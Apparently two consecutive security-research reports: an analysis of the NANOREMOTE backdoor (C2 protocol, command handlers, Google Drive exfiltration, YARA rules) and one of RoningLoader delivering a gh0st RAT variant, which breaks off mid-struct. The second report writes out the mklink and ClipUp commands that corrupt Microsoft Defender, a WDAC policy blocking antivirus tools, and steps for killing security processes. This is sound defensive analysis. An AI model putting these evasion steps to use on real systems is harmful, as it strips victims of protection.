This shellcode looks for a file named wmsetup.log in the same folder path as WMLOADER then starts decrypting it using AES-CBC with a 16-byte ASCII key (3A5AD78097D944AC). After decryption, the shellcode executes the in-memory backdoor, NANOREMOTE.

Based on the previous shellcode decryption routine, we can identify other related samples targeting Bitdefender and Trend Micro products when searching in VirusTotal.

NANOREMOTE

NANOREMOTE is a fully-featured backdoor that can be used to perform reconnaissance, execute files and commands, and transfer files to and from victim environments. The implant is a 64-bit Windows executable written in C++ without obfuscation.

NANOREMOTE Configuration

The NANOREMOTE sample we observed was preconfigured to communicate with a hard-coded non-routable IP address. We believe the program was generated from a builder as we do not see any cross-references pointing to a configuration setting.

For the Google Drive API authentication, NANOREMOTE uses a pipe-separated configuration that can use multiple clients. The |*| separator splits the fields used by a single client and the |-| is used as a marker to separate the clients. There are three fields per client structure:

• Client ID
• Client Secret
• Refresh Token

Below is an example of the format:

Client_ID_1|*|Client_Secret_1|*|Refresh_Token_1|-|Client_ID_2|*|Client_Secret_2|*|Refresh_Token_2

The developer has a fallback mechanism to accept this configuration through an environment variable named NR_GOOGLE_ACCOUNTS.

Interface/Logging

NANOREMOTE provides a detailed console displaying the application's real-time activity, including timestamps, source code locations, and descriptions of its behaviors.

A new Windows directory is created in the same location where NANOREMOTE was executed, the folder is called Log.

A newly created log file (pe_exe_run.log) is dropped in this folder containing the same output printed from the console.

Setup

There is an initial setup routine by NANOREMOTE before the main worker loop starts. The malware generates a unique GUID via CoCreateGuid then hashes the GUID using the Fowler-Noll-Vo (FNV) function. This GUID is used by the operator to identify individual machines during each request.

The malware developer has a process-wide crash handler to create a Windows minidump of the running process when an unhandled exception occurs, this is most likely being used to triage program crashes.

The exception will produce the dump before terminating the process. This is a pretty standard practice although the MiniDumpWithFullMemory might be considered less common in legitimate software as it could end up producing larger sized dumps and contain sensitive data.

A quick Google search using the same string formatter for the dump file (%d%02d%02d%02d%02d%02d_sv.dmp) listed only 1 result from a Chinese-based software development website.

Network Communication

As mentioned previously, NANOREMOTE’s C2 communicates with a hard-coded IP address. These requests occur over HTTP where the JSON data is submitted through POST requests that are Zlib compressed and encrypted with AES-CBC using a 16-byte key (558bec83ec40535657833d7440001c00). The URI for all requests use /api/client with User-Agent (NanoRemote/1.0).

Below is the CyberChef recipe used for the C2 encryption/compression:

Each request prior to encryption, follows a schema consisting of:

• Command ID: Associated command handler ID
• Data: Command-specific object containing key/value pairs required by the corresponding handler
• ID: Unique machine identifier assigned to the infected host

Below is an example of a request that triggers execution of whoami via the command key inside the data object:

{
    "cmd": 21,
    "data": {
        "command": "whoami"
    },
    "id": 15100174208042555000
}

Each response follows a similar format using the previous fields along with two additional fields.

• Output: Contains any output from the previously requested command handler
• Success: Boolean flag used to determine if command was successful or not

Below is an example of the response from the previous whoami command:

{
    "cmd": 21,
    "data": 0,
    "id": 17235741656643013000,
    "output": "desktop-2c3iqho\\rem\r\n",
    "success": true
}

Command Handlers

NANOREMOTE’s main functionality is driven through its 22 command handlers. Below is a control-flow graph (CFG) diagram showcasing the switch statement used to dispatch the different handlers.

Below is the command handler table:

Handler #1 - Collect host-based information

This handler enumerates system and user details to profile the victim environment:

• Uses WSAIoctl with SIO_GET_INTERFACE_LIST to retrieve internal and external IP address
• Grabs username via GetUserNameW
• Retrieves the hostname via GetComputerNameW
• Checks if current user is member of Administrator group via IsUserAnAdmin
• Retrieves the process path used by the malware using GetModuleFileNameW
• Retrieves operating‑system information (product build) from the registry using the WinREVersion and ProductName value names
• Gets process ID of running program via GetCurrentProcessID

Below is an example of the data sent to the C2 server:

{
    "cmd": 1,
    "data": {
        "Arch": "x64",
        "ExternalIp": "",
        "HostName": "DESKTOP-2C3IQHO",
        "ID": 8580477787937977000,
        "InternalIp": "192.168.1.1",
        "OsName": "Windows 10 Enterprise ",
        "ProcessID": 304,
        "ProcessName": "pe.exe",
        "SleepTimeSeconds": 0,
        "UID": 0,
        "UserName": "REM *"
    },
    "id": 8580477787937977000
}

Handler #2 - Modify beacon timeout

This handler modifies the beacon timeout interval for NANOREMOTE’s C2 communication, the malware will sleep based on the number of seconds provided by the operator.

Below is an example of this request where NANOREMOTE uses the key (interval) with a value (5) to modify the beacon timeout to 5 seconds.

{
    "cmd": 2,
    "data": {
        "interval": 5
    },
    "id": 15100174208042555000
}

Handler #3 - Self-termination

This handler is responsible for setting a global variable to 0 effectively signaling the teardown and process exit for NANOREMOTE.

Handler #4 - List folder contents by path

This handler lists the folder contents using a provided file path from the operator. The listing for each item includes:

• Whether the item is a directory or not
• Whether the item is marked as hidden
• Last modified date
• File name
• Size

Handler #5 - List folder contents and set working directory

This handler uses the same code as the previous handler (#4), the only difference is that it sets the current working directory of the process to the provided path as well.

Handler #6 - Get Storage Disk Info

This handler uses the following Windows API functions to collect storage disk information from the machine:

• GetLogicalDrives
• GetDiskFreeSpaceExW
• GetDriveTypeW
• GetVolumeInformationW

Below is an example of the request in JSON showing the data returned:

{
    "cmd": 6,
    "data": {
        "items": [
            {
                "free": 26342813696,
                "name": "C:",
                "total": 85405782016,
                "type": "Fixed"
            }
        ]
    },
    "id": 16873875158734957000,
    "output": "",
    "success": true
}

Handler #7 - Create new folder directory

This command handler creates a new directory based on a provided path.

Handler #8, #9 - Delete file, directory

This handler supports both #8 and #9 command ID’s, the branching is dynamically chosen based on the provided file path. It has the ability to delete files or a specified folder.

Handler #10, #11 - Teardown/Cleanup

These two handlers call the same teardown function using different arguments to recursively release heap allocations, internal C++ objects, and cached data associated with the malware’s runtime. This purpose is to clean up the command structures and prevent memory leaks or instability.

Handler #12 - Custom PE Loader - Execute PE from disk

This handler includes a custom PE loading capability for files that exist on disk. This functionality leverages standard Windows APIs along with helper code from library libPeConv to load PE files from disk without using the traditional Windows loader.

In short, it will read a PE file from disk, copy the file into memory, manually map the sections/headers, preparing the file before finally executing it in memory. This implementation is a deliberate technique for stealth and evasion bypassing user-mode hooking and traditional visibility. As one example, when a file is executed through this technique, there is no trace of this executable being launched using procmon.

Below is the following input for this handler where the local file path is provided under the key (args):

{
    "cmd": 12,
    "data": {
        "args": "C:\\tmp\\mare_test.exe"
    },
    "id": 15100174208042555000
}

The following screenshot shows successful execution of our test executable using this technique:

During this analysis, one interesting note is the adoption of the libPeConv library, this is a great and useful project that we ourselves use internally for various malware-related tasks. The developer of NANOREMOTE uses several functions from this library to simplify common tasks related to manually loading and executing PE files in memory. Below are the functions used by the library found in NANOREMOTE:

• default_func_resolver: Resolves functions in a PE file by dynamically loading DLLs and retrieving the addresses of exported functions.

• hooking_func_resolver: Retrieve the virtual address of a function by name from a loaded DLL.

• FillImportThunks: Populates the import table by resolving each imported function to its actual address in memory.

• ApplyRelocCallback: Applies base relocations when a PE file is loaded at an address different from its preferred base.

Another notable observation in this handler is the use of the open-source hooking library, Microsoft Detours. This library is used to intercept the following Windows functions:

• GetStdHandle
• RtlExitUserThread
• RtlExitUserProcess
• FatalExit
• ExitProcess

This runtime hooking routine intercepts termination‑related functions to enforce controlled behavior and improve resiliency. For example, NANOREMOTE prevents a failure in a single worker thread from terminating the entire NANOREMOTE process.

Handler #13 - Set working directory

This handler sets the working directory to a specific directory using the key (path). Below is an example request:

{
    "cmd": 13,
    "data": {
        "path": "C:\\tmp\\Log"
    },
    "id": 15100174208042555000
}

Handler #14 - Get working directory

This handler retrieves the current working directory, below is an example response after setting the directory with previous handler (#13).

{
    "cmd": 14,
    "data": 0,
    "id": 11010639976590963000,
    "output": "[+] pwd output:\r\nC:\\tmp\\Log\r\n",
    "success": true
}

Handler #15 - Move File

This handler allows the operator to move files around the victim machine using MoveFileExW with two arguments (old_path, new_path) moving the file to a different folder by performing a copy and delete file operation.

Handler #16 - Queue Download Task

This handler creates a download task object with a provided task_id then enqueues the task into the download queue. This implementation uses OAuth 2.0 tokens to authenticate requests to the Google Drive API. This functionality is used by the threat actor to download files to the victim machine. The encrypted communication to Google’s servers makes this traffic appear legitimate, leaving organizations unable to inspect or differentiate it from normal use.

Inside the main worker thread, there is a global variable used to track queue objects and process the awaiting tasks by the malware.

A task is processed using various fields provided by the C2 server:

• type
• task_id
• file_id
• target_path
• file_size
• md5

When a download task is processed, NANOREMOTE will retrieve the size of the file hosted on Google Drive using the file ID (1BwdUSIyA3WTUrpAEEDhG0U48U9hYPcy7). Next, the malware will download the file via WinHttpSendRequest then use WinHttpWriteData to write the file on the machine.

Below is the console output showing this download process:

This malware feature poses a unique challenge for organizations as threat groups continue to abuse trusted cloud platforms for data exfiltration and payload hosting. This traffic without any context can easily blend in with legitimate traffic making detection difficult for defenders who rely on network visibility.

Handler #17 - Queue Upload Task

This handler works in similar fashion as the previous handler (#16), instead it is creating an upload queue task and enqueuing the task into the upload queue. This handler is used by the threat actor to upload files from the victim machine to the adversary’s controlled Google Drive account.

The following fields are provided by the operator through the C2 server:

• type
• task_id
• upload_name
• source_path
• file_size
• md5

Below is the network traffic generated by the malware when uploading a test file via the Google Drive API (/upload/drive/v3/files).

The below figure shows the console during this upload process.

Below is a screenshot of the previous demonstration using the file upload feature with our own Google Drive test account.

Below is the response from this handler:

{
    "cmd": 17,
    "data": {
        "file_id": "1qmP4TcGfE2xbjYSlV-AVCRA96f6Kp-V7",
        "file_name": "meow.txt",
        "file_size": 16,
        "md5": "1e28c01387e0f0229a3fb3df931eaf80",
        "progress": 100,
        "status": "uploaded",
        "task_id": "124"
    },
    "id": 4079875446683087000,
    "output": "",
    "success": true
}

Handler #18 - Pause download/upload transfer

This handler allows the operator to pause any download and upload tasks managed by NANOREMOTE by passing the task_id.

Handler #19 - Resume download/upload transfer

This handler allows the operator to resume any paused download or upload tasks managed by NANOREMOTE using the task_id.

Handler #20 - Cancel file transfer

This handler allows the operator to cancel any download/upload tasks managed by NANOREMOTE through the task_id.

Handler #21 - Command Execution

This is the main handler used by the adversary for command execution on the victim machine. It works by spawning new processes and returning the output through Windows pipes. This is a core feature found in most backdoors used by adversaries for direct access to enumerate the environment, perform lateral movement, and execute additional payloads.

The figure below shows NANOREMOTE’s process tree when this handler is invoked. The malware spawns cmd.exe, which in turn launches the specified command—in this case, whoami.exe.

Handler #22 - Execute encoded PE from memory

This handler loads and executes a Base64 encoded PE file inside the existing NANOREMOTE process. The encoded PE file is provided by the C2 server using the pe_data field. If the program requires command-line arguments, the key (arguments) is used.

Below is an example showing the console output using test program:

Similarity to FinalDraft

There is overlap between FINALDRAFT and NANOREMOTE from both code similarity and behavioral perspectives.

Many functions exhibit clear code re-use across the two implants. For example, both follow the same sequence of generating a GUID via CoCreateGuid, hashing it with the Fowler-Noll-Vo (FNV) function and performing identical heap-validation checks before freeing the buffer.

A good portion of the HTTP-related code used to send and receive requests suggests similarity as well. Below is an example of a control flow-graph showing the setup/configuration of an HTTP request used by both malware families.

During our analysis, we observed that the WMLOADER decrypts the corresponding payload from a hard-coded file named wmsetup.log – the same file name that was used by PATHLOADER to deploy FINALDRAFT that we published earlier in the year.

Another interesting finding is that we discovered a sample (wmsetup.log) from VirusTotal that was recently uploaded from the Philippines on 2025-10-03.

We downloaded the file, placed it alongside WMLOADER, then executed the loader. It successfully decrypted the wmsetup.log file, revealing a FINALDRAFT implant.

Below is a side-by-side graphic showing the same AES key is used to successfully decrypt both FINALDRAFT and NANOREMOTE.

Our hypothesis is that WMLOADER uses the same hard-coded key due to being part of the same build/development process that allows it to work with various payloads. It’s not clear why the threat group behind these implants are not rotating the key, it’s possibly due to convenience or testing. This appears to be another strong signal suggesting a shared codebase and development environment between FINALDRAFT and NANOREMOTE.

NANOREMOTE through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Account Discovery
• Local Storage Discovery
• Exfiltration Over Web Service: Exfiltration to Cloud Storage
• Masquerading: Invalid Code Signature
• Command and Scripting Interpreter: Windows Command Shell

Mitigating NANOREMOTE

Within a lab environment executing NANOREMOTE, there were many different alerts triggered using Elastic Defend.

One of the main behaviors to validate for defenders is the abuse of using legitimate services such as Google Drive API. Below is an example alert triggered with the Connection to Commonly Abused Webservices rule when interacting with the Google API for both the download and upload of files using NANOREMOTE.

The PE loading technique using the Base64 encoded file from the C2 server was also detected via Memory Threat Detection Alert: Shellcode Injection alert.

Detection/Prevention

• Potential Evasion with Hardware Breakpoints
• Potential Evasion via Invalid Code Signature
• Unbacked Shellcode from Unsigned Module
• Shellcode Execution from Low Reputation Module
• Image Hollow from Unusual Stack
• Connection to Commonly Abused Webservices
• Memory Threat Detection Alert: Shellcode Injection

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_NanoRemote_7974c813 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-11-17"
        last_modified = "2025-11-19"
	 license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.NanoRemote"

    strings:
        $str1 = "/drive/v3/files/%s?alt=media" ascii fullword
        $str2 = "08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X" ascii fullword
        $str3 = "NanoRemote/" wide
        $str4 = "[+] pwd output:" wide
        $str5 = "Download task %s failed: write error (wrote %llu/%zu bytes)"
        $seq1 = { 48 83 7C 24 28 00 74 ?? 4C 8D 4C 24 20 41 B8 40 00 00 00 BA 00 00 01 00 48 8B 4C 24 28 FF 15 ?? ?? ?? ?? 85 C0 }
        $seq2 = { BF 06 00 00 00 89 78 48 8B 0D ?? ?? ?? ?? 89 48 ?? FF D3 89 78 78 8B 0D ?? ?? ?? ?? 89 48 7C FF D3 89 78 18 8B 0D }
    condition:
        4 of them
}

rule Windows_Trojan_WMLoader_d2c7b963 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-12-03"
        last_modified = "2025-12-03"
       license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WMLoader"
        reference_sample = "fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902"

    strings:
        $seq1 = { 8B 44 24 20 FF C0 89 44 24 20 81 7C 24 20 01 30 00 00 }
        $seq2 = { 41 B8 20 00 00 00 BA 01 30 00 00 48 8B 4C C4 50 FF 15 }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom WDAC policies, and tampering with the Microsoft Defender binary through PPL abuse.

This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.

Key takeaways

• The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender
• Threat actors leverage a valid, signed kernel driver to kill processes
• Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables
• Phantom DLLs and payload injection via thread pools for further antivirus process termination
• Final payload has minor updates and is associated with DragonBreath

Discovery

In August 2025, research was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, Potential Evasion via ClipUp Execution, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.

RONINGLOADER code analysis

The initial infection vector is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded Nullsoft Scriptable Install System (NSIS) installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in GULOADER. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.

One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.

The attack chain leverages a signed driver named ollama.sys for antivirus process termination. The driver has a signer name of Kunming Wuqi E-commerce Co., Ltd., with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as 慕讯公益加速器 (MuXunAccelerator), a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like inject.sys, contain HookSignTool artifacts including the string JemmyLoveJenny, while the October 2025 ollama.sys sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.

Comparing ollama.sys’s PDB string artifact D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb with other samples, we discovered different artifacts from other submitted samples -

• D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb
• D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb
• C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb
• h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb

Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.

Stage 1

Our analysis began with the initial binary, identified by its SHA256 hash: da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b. Extracting it reveals two embedded executables: a benign installer, letsvpnlatest.exe, and the malicious installer Snieoatwtregoable.exe.

The malicious installer, Snieoatwtregoable.exe, creates a new directory at C:\Program Files\Snieoatwtregoable\. Within this folder, it drops two files: a DLL named Snieoatwtregoable.dll and an encrypted file, tp.png.

The core of the malicious activity resides within Snieoatwtregoable.dll, which exports a single function: DllRegisterServer. When invoked, this function reads the contents of the tp.png file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.

The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the NtAllocateVirtualMemory API, then creates a new thread to execute the shellcode by calling NtCreateThreadEx.

The malware attempts to remove any userland hooks by loading a fresh new ntdll.dll, then using GetProcAddress with the API name to resolve the addresses.

The malware attempts to connect to localhost on port 5555 without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code

Stage 2 - tp.png

RONINGLOADER first checks whether it has administrative privileges using the GetTokenInformation API. If not, it attempts to elevate its privileges by using the runas command to launch a new, elevated instance of itself before terminating the original process.

Interestingly, the malware tries to communicate with a hardcoded URL http://www.baidu.com/ with the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.

The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to "True" if any are found.

The following is a table of processes and the associated security products hardcoded in the binary:

AV process termination via injected remote process

Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.

First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (vssvc.exe) associated with the Volume Shadow Copy (VSS) service.
It first grants itself the high integrity SeDebugPrivilege token.

It then starts the VSS (Volume Shadow Copy Service) if it is not already running and fetches the PID of its associated process (vssvc.exe).

Next, the malware uses NtCreateSection to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name \\.\Ollama. The second section contains shellcode intended for execution.

RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented by SafeBreach in 2023 with different variants.

Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the Fowler–Noll–Vo hash (FNV) algorithm to look up functions by hash instead of by name.

It first fetches the addresses of CreateFileW, WriteFile, and CloseHandle to write the driver to disk to a hardcoded path, C:\windows\system32\drivers\1912763.temp.

Then it performs the following operations:

• Create a service named xererre1 to load the driver dropped to disk
• For each of the following processes (360Safe.exe, 360Tray.exe, and ZhuDongFangYu.exe), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID
• It then stops and deletes the service xererre1

To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (0x222000) that takes a PID as a parameter and kills the process by first opening it with ZwOpenProcess, then terminating it with ZwTerminateProcess kernel APIs.

AV process termination

Returning to the main execution flow, the malware enters a loop to confirm the termination of 360tray.exe, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.

It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.

RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:

• First, it writes the malicious driver to disk, this time to the temporary path C:\Users\analysis\AppData\Local\Temp\ollama.sys.
• A temporary service (ollama) is created to load ollama.sys into the kernel
• The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.
• Immediately after the kill command is sent, the service is deleted.

Regarding Microsoft Defender, the malware attempts to kill the MsMpEng.exe process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the MsMpEng.exe process. This means that if the process is not running, the malware will send 0 as the PID to the driver.

The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into vssvc.exe, but the list of processes is different, as seen in the screenshot below.

The injection technique also uses threadpools, but the injected code is triggered by an event.

After the process termination, the malware creates 4 folders

• C:\ProgramData\lnk
• C:\ProgramData\<current_date>
• C:\Users\Public\Downloads\<current_date>
• C:\ProgramData\Roning

Embedded archives

The malware then writes three .txt files to C:\Users\Public\Downloads\<current_date>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.
This custom file structure is organized as follows:

• Magic Bytes: The file begins with the signature 4B 44 01 00 for identification.
• File Count: This is immediately followed by a value indicating the number of files encapsulated within the container.
• File Metadata: A header section then describes the information for each stored file.
• Compressed Data: Finally, each embedded file is stored in a ZLIB-compressed data block.

Here’s an example file format for the hjk.txt archive, which contains 2 files: 1.bat and fhq.bat.
This archive format applies to 2 other embedded files in the current stage:

• agg.txt, which contains 3 files - Enpug.bin, goldendays.dll, and trustinstaller.bin
• kill.txt, which contains 1 file - 1.dll

Batch scripts to bypass UAC and AV networking

1.bat is a simple batch script that disables User Account Control (UAC) by setting the EnableLUA registry value to 0.

fhq.bat is another batch script that targets the program defined in C:\ProgramData\lnk\123.txt and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.

AV process termination via Phantom DLL

The deployed DLL, 1.dll, is copied to C:\Windows\System32\Wow64\Wow64Log.dll to be side-loaded by any WOW64 processes, as Wow64Log.dll is a phantom DLL that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (TerminateProcess).

ClipUp MS Defender killer

The malware then attempts to use a PPL abuse technique documented by Zero Salarium in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through cmd.exe with the ShellExecuteW API

• It searches for Microsoft Defender's installation folder under C:\ProgramData\Microsoft\Windows Defender\Platform\*, targeting only the directory with the most recent modification date, which indicates the currently used version
• Create a folder C:\ProgramData\roming and a directory link with mklink to point to the directory found with the following command: cmd.exe /c mklink /D "C:\ProgramData\roming" “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”
• It then runs C:\Windows\System32\ClipUp.exe with the following parameter: -ppl C:\ProgramData\roming\MsMpEng.exe, which overwrites MsMpEng.exe with junk data, effectively disabling the EDR even after a restart

The author appears to have copied code from EDR-Freeze to start ClipUp.exe.

CiPolicies

The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip.

The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:

• Qihoo 360 Total Security by blocking 360rp.exe and 360sd.exe
• Huorong Security by blocking ARPProte.exe
• All executables signed by Huorong Security (北京火绒网络科技有限公司) via certificate TBS hash A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4

A critical component is the Enabled:Unsigned System Integrity Policy rule, which allows the policy to be loaded without a valid digital signature.

Truncated...
    <Rule>
      <Option>Enabled:Inherit Default Policy</Option>
    </Rule>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
    <Rule>
      <Option>Enabled:Advanced Boot Options Menu</Option>
    </Rule>
    <Rule>
      <Option>Enabled:Update Policy No Reboot</Option>
    </Rule>
  </Rules>
  <EKUs />
  <FileRules>
    <Allow ID="ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630" FileName="*" />
    <Allow ID="ID_ALLOW_A_019A298478CE7AB089C369772F34B39B" FileName="*" />
    <Deny ID="ID_DENY_A_019A298478CE7DBA9913BFC227DACD14" FileName="360rp.exe" InternalName="360rp.exe" FileDescription="360杀毒 实时监控" ProductName="360杀毒" />
    <Deny ID="ID_DENY_A_019A298478CE763C85C9F42EC8669750" FileName="360sd.exe" InternalName="360sd.exe" FileDescription="360杀毒 主程序" ProductName="360杀毒" />
    <FileAttrib ID="ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11" FileName="ARPProte.exe" MinimumFileVersion="6.0.0.0" />
  </FileRules>
  <Signers>
    <Signer ID="ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E" Name="">
      <CertRoot Type="TBS" Value="A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4" />
      <CertPublisher Value="北京火绒网络科技有限公司" />
      <FileAttribRef RuleID="ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11" />
    </Signer>
    <Signer ID="ID_SIGNER_A_019A298478CE77F7B523D1581F518639" Name="">
      <CertRoot Type="TBS" Value="A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4" />
      <CertPublisher Value="北京火绒网络科技有限公司" />
    </Signer>
  </Signers>
...Truncated

Stage 3 - goldendays.dll

In the previous stage, RONINGLOADER creates a new service named MicrosoftSoftware2ShadowCop4yProvider to run the next stage of execution with the following command: regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll.

The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.

To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:

1. TrustedInstaller (TrustedInstaller.exe)
2. MicrosoftEdgeElevationService (elevation_service.exe)

The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.

Next, the malware establishes persistence by creating a batch file with a random name within the C:\Windows\ directory (e.g., C:\Windows\KPeYvogsPm.bat). The script inside this file runs a continuous loop with the following logic:

• It checks if the captured PID of the trusted service (e.g., PID 4016 for TrustedInstaller.exe) is still running
• If the service is not running, the script restarts the previously created malicious service (MicrosoftSoftware2ShadowCop4yProvider) to ensure the malware's components remain active
• If the service process is running, the script sleeps for 10 seconds before checking again

Finally, the malware reads the contents of C:\ProgramData\Roning\trustinstaller.bin. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (TrustedInstaller.exe or elevation_service.exe). The injection method is straightforward: it performs a remote virtual allocation with VirtualAllocEx, writes to it with WriteProcessMemory, and then creates a remote thread to execute it with CreateRemoteThread.

Stage 3 - trustinstaller.bin

The third stage, contained within trustinstaller.bin, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.

When found, it will inject the shellcode into C:\ProgramData\Roning\Enpug.bin, which is the final payload. It will create a section with NtCreateSection, map a view of it in the remote process with NtMapViewOfSection, and write the payload to it. Then it will create a remote thread with CreateRemoteThread.

Stage 4 - Final Payload

The final payload has not undergone major changes since Sophos’s discovery of a DragonBreath campaign in 2023 and QianXin’s report in mid-2022. It is still a modified version of the open-source gh0st RAT.

In the more recent campaigns, a mutex of value Global\DHGGlobalMutex is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named MyUniqueMutexName and immediately destroying it afterward.

The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.

Victim Beacon Data

The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through Sleep(<random_amount> * 1000). Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:

struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)
    
    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP
    
    // +0x008
    char hostname[50];               // Computer name or registry "Remark"
    
    // +0x03A
    char windows_version[?];         // OS version info
    
    // +0x0D8
    char cpu_name[64];               // Processor name
    
    // +0x118
    uint32_t entry_rdx;              
    
    // +0x11C
    char time_value[64];             // Implant installed time or registry "Time" value
    
    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)
    
    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows
    
    // +0x184
    char av_processes_found[128];    // Antivirus processes found
    
    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 
    
    // +0x244
    char crypto_wallet_track[64];    // "狐狸系列" (MetaMask) or registry "ZU" (crypto related tracking)
    
